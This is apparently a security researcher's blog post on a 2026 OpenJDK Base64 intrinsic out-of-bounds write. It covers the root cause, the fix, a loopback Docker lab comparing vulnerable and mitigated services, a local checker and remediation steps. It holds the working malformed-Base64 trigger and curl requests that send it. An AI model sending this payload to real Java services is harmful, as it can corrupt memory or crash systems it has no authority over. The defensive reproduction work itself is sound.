November 18, 2026
Java4Shell CVE-2026–114938: Reproducing the OpenJDK Base64 Memory Corruption With Docker
Java returned to the security spotlight on November 17, 2026, when CVE-2026–114938 was disclosed. The vulnerability, now widely referred to…

By ZXVE
11 min read
Java returned to the security spotlight on November 17, 2026, when CVE-2026–114938 was disclosed. The vulnerability, now widely referred to as Java4Shell, is not an injection flaw like Log4Shell. It sits much deeper in the stack: inside the x86–64 Base64 intrinsic used by the HotSpot JVM to accelerate decoding.
A malformed Base64 input can drive an output-length calculation below zero. That value is then used to build an incorrect AVX-512 store mask, causing native code to write beyond the expected output boundary. Java eventually rejects the input with an IllegalArgumentException, but the exception is raised only after memory has already been modified.
I built the public Java4Shell (Java2Shell) repository to make the portion of the vulnerability that can be independently verified today easy to reproduce. It includes a pinned vulnerable JDK, a loopback-only Docker lab, a mitigated negative control, a local runtime checker, detailed technical notes, and a tracker for public exploit claims.
The central result is deliberately precise: the lab proves a 62-byte out-of-bounds write, not a shell. Calif researchers have demonstrated application-specific remote code execution, including a Keycloak demonstration, but the exploit source for those product chains was still withheld at the time of writing. An HTTP error, a JVM crash, or a reverse-shell string in a script is not equivalent to command execution.
The short version
- CVE-2026–114938 is an out-of-bounds write in HotSpot's optimized Base64 decoder for x86–64 CPUs with AVX-512 VBMI.
- Reaching the vulnerable path requires an affected JDK, specific CPU features, enabled Base64 intrinsics, and attacker-controlled data reaching
java.util.Base64.Decoderafter C2 compilation. - The public trigger for JDK 21, 25, and 27 is 64
Acharacters followed by one =. The JDK 17 trigger uses 128Acharacters followed by one =. - In the JDK 25 lab, the decoder rejects the malformed input, but 62 bytes beyond the expected output length have already changed.
- The Docker environment runs two otherwise identical services: port
8080uses the default intrinsic, while port8081disables it with-XX:-UseBASE64Intrinsics. - Upgrading to a fixed vendor build is the permanent remedy. Disabling the intrinsic is a temporary mitigation that must be verified on the running JVM.
What Java4Shell actually is
Base64.Decoder looks like an ordinary memory-safe Java API. HotSpot, however, can replace selected Java operations with intrinsics: native implementations that use specialized CPU instructions for better performance. On a qualifying x86-64 host, the C2 JIT compiler may select an AVX-512 VBMI path to decode Base64 data in wide vectors.
That transition from managed Java code to native machine code is the important boundary. Java's usual array-safety guarantees depend on the intrinsic preserving the same contract as the Java implementation.
For JDK 25, the public malformed input is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=The simplified execution path is:
attacker-controlled HTTP body
-> java.util.Base64.Decoder
-> C2 selects the x86-64 Base64 intrinsic
-> the first 64 characters produce 48 bytes
-> the tail contains only one "=" character
-> output_size falls from 0 to -1
-> the store mask becomes fully enabled
-> a 64-byte vector store begins at offset 48
-> Java then throws IllegalArgumentExceptionattacker-controlled HTTP body
-> java.util.Base64.Decoder
-> C2 selects the x86-64 Base64 intrinsic
-> the first 64 characters produce 48 bytes
-> the tail contains only one "=" character
-> output_size falls from 0 to -1
-> the store mask becomes fully enabled
-> a 64-byte vector store begins at offset 48
-> Java then throws IllegalArgumentExceptionThe decoder's expected output size for the 65-byte input is 50 bytes. The 64-byte store begins at offset 48 and ends at offset 111. Its first two bytes are still inside the expected output, while offsets 50 through 111 account for 62 bytes beyond the boundary.
The lab does not hand the intrinsic a 50-byte array and allow the write to corrupt an arbitrary neighboring object. Instead, it uses a real 4 KiB Java byte array filled with the sentinel value 0x5a. The complete machine write remains inside that allocated object, while the harness can still count every byte modified beyond offset 50. This makes the proof observable and repeatable without pretending that the harness is a product exploit.
Why the padded tail becomes negative
The native tail handler effectively calculates its output length like this:
output_size = (remaining_length / 4) * 3
if the tail ends with "=":
output_size -= 1output_size = (remaining_length / 4) * 3
if the tail ends with "=":
output_size -= 1When the remaining fragment contains only =, integer division produces zero and padding handling reduces the value to -1.
That value reaches the BZHI instruction used to construct a 64-bit mask. The low byte of -1 is 255, which is larger than the mask width. Instead of clearing the mask, the operation leaves all bits enabled. VMOVDQU8 then stores all 64 byte lanes.
The OpenJDK fix is small but strategically placed. A tail shorter than one complete Base64 block is redirected to the Java fallback before the negative size can shape the vector-store mask:
// A padded Base64 tail shorter than one complete block is handled by Java.
+__ cmpl(length, 4);
+__ jcc(Assembler::less, L_bruteForce);// A padded Base64 tail shorter than one complete block is handled by Java.
+__ cmpl(length, 4);
+__ jcc(Assembler::less, L_bruteForce);The patch illustrates a recurring lesson in native acceleration: a few lines at the managed-to-native boundary can determine whether the language's safety guarantees still hold.
Four gates determine exposure
A version string alone does not establish exploitability. Four conditions must align:
Gate What to verify Runtime The JDK belongs to an affected release line and does not contain the vendor fix Architecture and CPU The JVM runs on x86–64 with avx512f, avx512bw, avx512vbmi, and bmi2 available JVM configuration UseBASE64Intrinsics is enabled and AVX-512 has not otherwise been restricted Application reachability Untrusted data reaches the JDK Base64 decoder after the path becomes hot enough for C2 compilation
Native ARM64 does not execute this x86–64 intrinsic. An x86–64 CPU without AVX-512 VBMI does not enter the same path either. Docker cannot emulate CPU instructions that the host does not expose.
On Linux or WSL2, check the required flags with:
grep -m1 '^flags' /proc/cpuinfo \
| tr ' ' '\n' \
| grep -E '^(avx512f|avx512bw|avx512vbmi|bmi2)$'grep -m1 '^flags' /proc/cpuinfo \
| tr ' ' '\n' \
| grep -E '^(avx512f|avx512bw|avx512vbmi|bmi2)$'All four flags must appear for this Docker demonstration. If one is absent, failure to reproduce says something about that host's execution path — not whether the same image would be safe on another machine.
Reproduce the proof from GitHub
The lab binds both services to loopback. Keep it that way: do not publish the ports on 0.0.0.0, and do not run the environment on a shared or public host.
You need Docker Engine with Compose, Bash, curl, GNU Make, and an amd64 host exposing the required CPU flags. The exact repository snapshot used for this article is 7483eb61363f3c3754f77c790c877a51b29b0098:
git clone https://github.com/zake1god/java2shell.git
cd java2shell
git checkout 7483eb61363f3c3754f77c790c877a51b29b0098
make preflight
make verifygit clone https://github.com/zake1god/java2shell.git
cd java2shell
git checkout 7483eb61363f3c3754f77c790c877a51b29b0098
make preflight
make verifymake preflight checks the architecture, CPU flags, Docker Compose, Docker daemon, and pinned image before any lab services start. A ready host reports:
arch=x86_64
cpu_gate=supported
docker_compose=available
docker_daemon=reachable
image_pin=FROM eclipse-temurin:25.0.5_8-jdk@sha256:884a2f... AS build
preflight_status=ready
next_step=make verifyarch=x86_64
cpu_gate=supported
docker_compose=available
docker_daemon=reachable
image_pin=FROM eclipse-temurin:25.0.5_8-jdk@sha256:884a2f... AS build
preflight_status=ready
next_step=make verifymake verify builds and starts the lab, waits for health checks, runs the vulnerable-versus-mitigated comparison, validates the evidence, and tears down the services. The final verdict should be:
verification_complete=true
evidence_level=bounded_oob_write_with_negative_control
shell_proven=falseverification_complete=true
evidence_level=bounded_oob_write_with_negative_control
shell_proven=falseThe vulnerable image uses Eclipse Temurin 25.0.5+8, pinned by digest in the Dockerfile. Compose creates two services from the same image:
Service Loopback address Configuration vulnerable 127.0.0.1:8080 Base64 intrinsic enabled by default mitigated 127.0.0.1:8081 JAVA_TOOL_OPTIONS=-XX:-UseBASE64Intrinsics
The containers run as a non-root user, use a read-only filesystem, drop all Linux capabilities, enable no-new-privileges, and have no automatic restart policy. Those controls do not fix the CVE; they reduce operational risk while running a local research environment.
For a step-by-step explanation, use the repository's Getting Started guide. Common host and Docker issues are covered in Troubleshooting.
Reading the A/B result
On November 18, 2026, I reproduced the lab in WSL2 on an amd64 host exposing all required CPU features. The vulnerable service returned:
{"status":"reproduced","runtime":"25.0.5+8-LTS","input_length":65,"expected_output_size":50,"decoder_rejected":true,"changed_past_expected":62,"first_changed":50,"last_changed":111,"claim":"oob_write_only_not_shell"}{"status":"reproduced","runtime":"25.0.5+8-LTS","input_length":65,"expected_output_size":50,"decoder_rejected":true,"changed_past_expected":62,"first_changed":50,"last_changed":111,"claim":"oob_write_only_not_shell"}The mitigated control returned:
{"status":"not_reproduced","runtime":"25.0.5+8-LTS","input_length":65,"expected_output_size":50,"decoder_rejected":true,"changed_past_expected":0,"first_changed":-1,"last_changed":-1,"claim":"oob_write_only_not_shell"}{"status":"not_reproduced","runtime":"25.0.5+8-LTS","input_length":65,"expected_output_size":50,"decoder_rejected":true,"changed_past_expected":0,"first_changed":-1,"last_changed":-1,"claim":"oob_write_only_not_shell"}The useful evidence is the difference between those two observations:
Field Vulnerable Mitigated Meaning decoder_rejected true true Both services agree that the Base64 input is malformed changed_past_expected 62 0 Only the vulnerable intrinsic modifies bytes beyond the output first_changed 50 -1 The first unexpected change begins exactly at the boundary last_changed 111 -1 The spill ends after 62 out-of-bounds bytes claim OOB only OOB only Neither response claims command execution
Both services throw the same Java exception, but their memory state differs. A remote scanner that sees only an HTTP status, IllegalArgumentException, 400, 401, 500, or a connection reset cannot determine whether the native write occurred.
The same commit also passed the repository's smoke tests and GitHub Actions run 44247662113, providing a public record that the guided workflow builds and validates successfully.
Sending the request manually
If you want to inspect each service yourself, start the lab and send the same input to both endpoints:
make up
payload="$(printf 'A%.0s' {1..64})="
curl --request POST \
--header 'Content-Type: text/plain' \
--data-binary "$payload" \
http://127.0.0.1:8080/decode
curl --request POST \
--header 'Content-Type: text/plain' \
--data-binary "$payload" \
http://127.0.0.1:8081/decode
make downmake up
payload="$(printf 'A%.0s' {1..64})="
curl --request POST \
--header 'Content-Type: text/plain' \
--data-binary "$payload" \
http://127.0.0.1:8080/decode
curl --request POST \
--header 'Content-Type: text/plain' \
--data-binary "$payload" \
http://127.0.0.1:8081/decode
make downThe endpoint accepts only the two documented public trigger shapes: 64 or 128 A characters followed by =. Request bodies are capped at 256 bytes. The service contains no command-execution endpoint and never invokes a shell.
Checking an installed JDK
The repository also includes a local runtime checker:
make check
echo $?make check
echo $?It records the runtime version, architecture, Linux CPU flags, and the result of the bounded 4 KiB sentinel probe. Its exit codes are designed for inventory workflows:
Exit code Meaning 0 No modification beyond the expected output was reproduced 1 Java was unavailable or the checker failed 2 Modification beyond the expected output was reproduced
One observed Debian JDK 25.0.4 result was:
runtime=25.0.4+7-1-Debian
vendor=Debian
arch=amd64
cpu_gate=supported
version_assessment=known_affected_range
decoder_rejected=true
expected_output_size=50
changed_past_expected=62
first_changed=50
last_changed=111
result=VULNERABLE_BEHAVIOR_REPRODUCEDruntime=25.0.4+7-1-Debian
vendor=Debian
arch=amd64
cpu_gate=supported
version_assessment=known_affected_range
decoder_rejected=true
expected_output_size=50
changed_past_expected=62
first_changed=50
last_changed=111
result=VULNERABLE_BEHAVIOR_REPRODUCEDThis probe is local; it does not scan remote targets. Exit code 2 means that the out-of-bounds behavior was reproduced on that JVM. It does not mean the checker obtained a shell.
Does Java4Shell actually lead to a shell?
The careful answer is: application-specific RCE has been demonstrated, but this public lab does not prove a shell.
Calif reported pre-authentication RCE against Keycloak, Jira, Confluence, Artifactory, Jenkins, and PingFederate, plus post-authentication RCE against several other products. The researchers also published a Keycloak demonstration video. Their disclosure states that the product exploit code is being withheld to give defenders time to upgrade.
This is not a single universal payload. Turning the native write into useful execution requires substantially more work: shaping the heap, developing a useful read or write primitive, keeping the JVM alive, accounting for garbage collector and object-layout differences, and identifying application-specific objects or actions worth targeting. A Keycloak profile does not automatically become a Jenkins exploit.
The repository maintains an evidence-focused RCE and shell status and a commit-pinned public exploit tracker. As of the November 18, 2026 05:45 UTC snapshot, I reviewed 54 public GitHub repositories associated with the CVE and found no independently reproducible, end-to-end product shell chain.
Two kinds of false confidence deserve special attention. One public candidate set shell=1 after a separate generic command-injection endpoint sweep received a callback; its own source did not connect that result to the Java4Shell memory-corruption chain. Another project deliberately invoked ProcessBuilder("/usr/bin/id") when a synthetic role bit changed. That can illustrate an impact hypothesis, but it is a command gate built into a test harness—not a real product exploit.
The evidence levels should therefore remain separate:
Observation Defensible conclusion The trigger changes 62 bytes beyond the expected output The out-of-bounds write is reproduced The JVM crashes or garbage collection fails Memory corruption can destabilize the process A researcher demo executes a command through an application chain RCE is demonstrated for that specific profile A script receives 401, 500, or a connection reset The service reacted; RCE is not established A lab calls ProcessBuilder after a synthetic condition changes A hypothetical impact is illustrated, not a product exploit
That is why every lab response uses:
claim=oob_write_only_not_shellclaim=oob_write_only_not_shellThis label does not minimize the severity of the vulnerability. It keeps the claim at the same level as the evidence currently available to the public. The tracker is time-bounded, not a claim that public exploit code can never emerge.
Affected and fixed versions
The November 2026 advisories identify these OpenJDK release lines:
Release line Affected range First fixed version Java 17 17.0.6 through builds before 17.0.21.1 17.0.21.1 Java 21 Builds before 21.0.13.1 21.0.13.1 Java 25 Builds before 25.0.5.1 25.0.5.1 Java 27 Builds before 27.0.1.1 27.0.1.1
Java distributions may backport patches and use different build-number schemes. Consult the advisory for the vendor that supplied the runtime actually executing the process. Do not rely solely on the first java binary found in PATH; applications and containers often bundle their own JVM.
Mitigation and remediation
The permanent solution is to install a fixed vendor build, rebuild every affected image or package, redeploy it, and restart every JVM. A process that has not restarted is still executing the old runtime code.
When an upgrade cannot be deployed immediately, the narrow workaround is to disable the Base64 intrinsic:
export JAVA_TOOL_OPTIONS="-XX:-UseBASE64Intrinsics"export JAVA_TOOL_OPTIONS="-XX:-UseBASE64Intrinsics"On x86–64, AVX-512 can also be restricted with:
-XX:UseAVX=2-XX:UseAVX=2The second option affects other JVM operations that use AVX-512. It may also be inappropriate in a configuration shared with non-x86 architectures. Disabling only UseBASE64Intrinsics is the more targeted temporary control, but neither flag should replace a vendor update.
After rollout, inspect the process that is actually running:
jcmd <PID> VM.version
jcmd <PID> VM.flags -alljcmd <PID> VM.version
jcmd <PID> VM.flags -allConfirm either that the JVM reports a fixed build or that UseBASE64Intrinsics = false. Then repeat the bounded probe in staging and verify that a result previously showing 62 changed bytes now shows zero.
A defensive prioritization workflow
A useful response plan evaluates all four exposure gates instead of relying on one indicator:
- Inventory every JVM, including runtimes embedded in containers and commercial products.
- Record the vendor, full build, architecture, and live process — not merely the package installed on disk.
- Identify x86–64 hosts exposing
avx512f,avx512bw,avx512vbmi, andbmi2. - Determine whether the Base64 intrinsic is enabled.
- Trace application paths that feed untrusted input into the JDK Base64 decoder.
- Prioritize internet-facing and pre-authentication paths.
- Upgrade through the appropriate vendor, rebuild, redeploy, and restart.
- Verify the live JVM version and flags after the rollout.
Do not mark a service safe merely because malformed Base64 produces 400 or 401. An application can catch IllegalArgumentException after the native write has occurred and still return a normal-looking response.
What this repository proves — and what it does not
The Java4Shell (Java2Shell) repository ties each conclusion to a specific level of evidence:
- a vulnerable JDK image is pinned to an exact version and digest;
- an unauthenticated loopback HTTP request reaches
java.util.Base64.Decoder; - warm-up drives the decoder onto the C2 hot path;
- 62 bytes beyond the expected output length are modified;
- the same modification disappears when the intrinsic is disabled;
- the local checker returns machine-readable exit codes for runtime inventories;
- the documentation separates OOB write, crash, demonstrated RCE, and publicly reproducible shell evidence.
The repository does not ship a reverse shell, web shell, product heap profile, or synthetic backdoor. Its purpose is to give defenders a reproducible way to understand the bug, test runtimes they control, and validate mitigation without claiming an outcome that the lab has not achieved.
Closing thoughts
Java4Shell is a reminder that memory safety in a high-level language still depends on the native layers beneath it. A single underflow in an assembly tail handler can turn ordinary decoding into a write beyond the intended heap boundary. A later Java exception does not undo the memory modification already performed by the intrinsic.
The most valuable part of this lab is not simply the number 62. It is the controlled A/B comparison: the same runtime, input, and service corrupt the sentinel region when the intrinsic is enabled, then stop reproducing the behavior when that intrinsic is disabled.
Java4Shell's RCE potential deserves urgent attention, but the evidence still needs accurate labels. An out-of-bounds write is not automatically a shell. A crash is not command execution. A demonstration video is not independently reproducible exploit source. Keeping those levels distinct allows defenders to move quickly without sacrificing technical rigor.
Repository and documentation
- Main repository: https://github.com/zake1god/java2shell
- Article snapshot: https://github.com/zake1god/java2shell/tree/7483eb61363f3c3754f77c790c877a51b29b0098
- Getting Started: https://github.com/zake1god/java2shell/blob/main/docs/GETTING-STARTED.md
- Troubleshooting: https://github.com/zake1god/java2shell/blob/main/docs/TROUBLESHOOTING.md
- Technical notes: https://github.com/zake1god/java2shell/blob/main/docs/TECHNICAL.md
- RCE and shell status: https://github.com/zake1god/java2shell/blob/main/docs/RCE-STATUS.md
- Public exploit tracker: https://github.com/zake1god/java2shell/blob/main/docs/PUBLIC-EXPLOIT-TRACKER.md
Primary references
- Datadog Security Labs: Java4Shell — Remote Code Execution in OpenJDK
- Calif technical disclosure
- OpenJDK vulnerability advisory, November 17, 2026
- OpenJDK fix commit
5177a70 - Oracle November 2026 Critical Patch Update
- Red Hat security bulletin RHSB-2026–018
- Harness independent reproduction
- Official Calif RCE demonstration